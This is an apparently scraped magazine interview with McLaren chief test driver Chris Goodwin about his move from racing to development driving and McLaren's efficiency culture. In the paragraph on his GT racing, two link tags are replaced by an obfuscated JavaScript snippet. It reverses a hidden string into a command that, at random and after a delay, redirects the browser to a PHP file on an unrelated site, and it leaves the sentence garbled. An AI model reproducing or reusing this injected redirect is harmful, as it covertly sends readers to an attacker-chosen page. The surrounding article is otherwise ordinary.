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“I remember Ron saying, ‘I think you should stop focusing on a racing career. I think you should come work with us and prioritise a career as a development driver’.”
Most racing drivers, when faced with a similar suggestion, would probably decide against this, even if these (paraphrased) words come from Ron Dennis, former Team Principal at McLaren F1 and executive chairman of McLaren Group. But as it turns out, in this instance…
“It was absolutely the best thing I ever did”.
Quite clearly, this will not be a bittersweet tale of remorse and regret.
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The gentleman I’m currently speaking with is Chris Goodwin. Many of you are probably familiar with his admittedly fragmented GT racing career. Others may recognize the name from European and British Touring Car Championship entry lists from the late 1990s. And some of the hardcore motorsport elite among you may even be asking, “didn’t he race against David Coulthard in Formula Ford back in the late eighties?”
All correct, such is the excessive span of Chris’s motor racing career. But those aren’t the topics we had in mind today. You see, Chris is the Chief Test Driver for McLaren Automotive, and has been since 1997: if a McLaren has hit the road or the track in the past 15 years, then Chris has driven it. You can imagine then how keen we are to discuss life at McLaren. Where better to start than how this enviable role came together?
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“I’d been through the single-seater series and touring cars, but found that GT endurance racing was a category I really enjoyed and did pretty well in,” Chris explains. “Then I started with McLaren, but unfortunately it was at a time when McLaren were tailing off their GT racing program so that Ron [Dennis] and Gordon Murray [McLaren Technical Director, 1987-2006] could focus on the automotive side of things.
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“Ron’s very astute in his thinking, and this was a bloody good example of looking towards the future. I remember being invited into his office, sitting across the desk from him and being told, ‘I think you should come work with us and prioritise a career as a development driver with McLaren Group’. And that was the best thing I ever did! If I’d said ‘no’, I would have missed out on an amazing series of projects. Ron was absolutely spot on, and I’ve had a much more interesting and rewarding career in the last ten years as a result of that.”
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And so it was that, rather than chasing a seat for the upcoming season, Chris instead settled down into his new life as development driver. Straight in at the deep end, Chris began development work on the new supercharged V8-powered McLaren-Mercedes SLR project, production of which would eventually begin in 2003. Ironically, this would prove only a temporary hiatus to Chris’s motorsport career.
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“Since I stopped trying to be a racing driver, I’ve actually done a huge amount of racing! Now opportunities come to me rather than me needing to chase them. Over the last few years I’ve raced at Spa, the Nurburgring and at the Le Mans 24hrs. I’ve competed in every category of GT racing through $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/fia-gt1-nogaro-round-1-young-dogs-new-tricks/” target=”_blank”>GT1, 2 and 3 and raced $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/alms-long-beach-round-2-into-the-history-books/” target=”_blank”>Le Mans Series prototypes too. They’ve just been small, one-off programs and they’ve actually ended up giving me experience that’s been really useful in developing our own cars.
“But over the years, I’ve been given an increasing amount of responsibility and trust, so I studiously avoid any conflict with rival competitors. McLaren have never said, ‘actually we’d rather you didn’t race with them’, but I know which potential deals would create a conflict of interest, so I avoid those at all costs.”
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Few would argue the reasoning of this decision. Since 1997 Chris has worked hard to get his feet firmly under the silver table at one of the most privileged motoring names in the world. The McLaren team for example has won twelve Driver’s World Championships and eight Constructor’s Championships since it was first established in 1966, and though operations may have changed somewhat in that time, the company’s more recent successes during the past few decades are derived from a core ethos: ‘everything for a reason’. Efficiency is the name of the game for McLaren.
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Take a wander around the team’s automotive and motorsport headquarters in Woking for example, and you’ll find that all the surfaces – floors, walls, doors, everything – is painted white, making spills and clutter that much easier to spot and thus easier to clean up or re-organise. Streamlined efficiency. Everything for a reason. It’s a principal of which, after 15 years of firsthand experience, Chris is a staunch advocate.
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“I’m not trying to show-off, but I’m a busy guy, as you’ve obviously found trying to catch me during a Grand Prix weekend!” – (alongside his McLaren commitments Chris also manages the career of Formula One driver Bruno Senna) – “So I don’t have time to do things that aren’t necessary. And that’s how we try to operate at McLaren. Everything’s very carefully structured so that we maximize all hours of the day and double our efficiency.
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“Ron’s always been good at bringing people together who understand his work ethic, his strive for perfection, and his attention to detail. If we travel to a test track to run an automotive program, I’ll be surrounded by engineers and mechanics who are constantly thinking, ‘right, how would this look to Ron?’! Is everything structured, and on-time? Are we working on in an organized way? Are we getting maximum efficiency out of our day? It’s the spectre of Ron, and I like that! We strive to do things the way he would like them done out of respect. And that’s not just the case with how we work. Take the Mp4-12C: there isn’t anything technology-wise on there that isn’t designed to enhance its performance, comfort, economy or ease-of-use.”
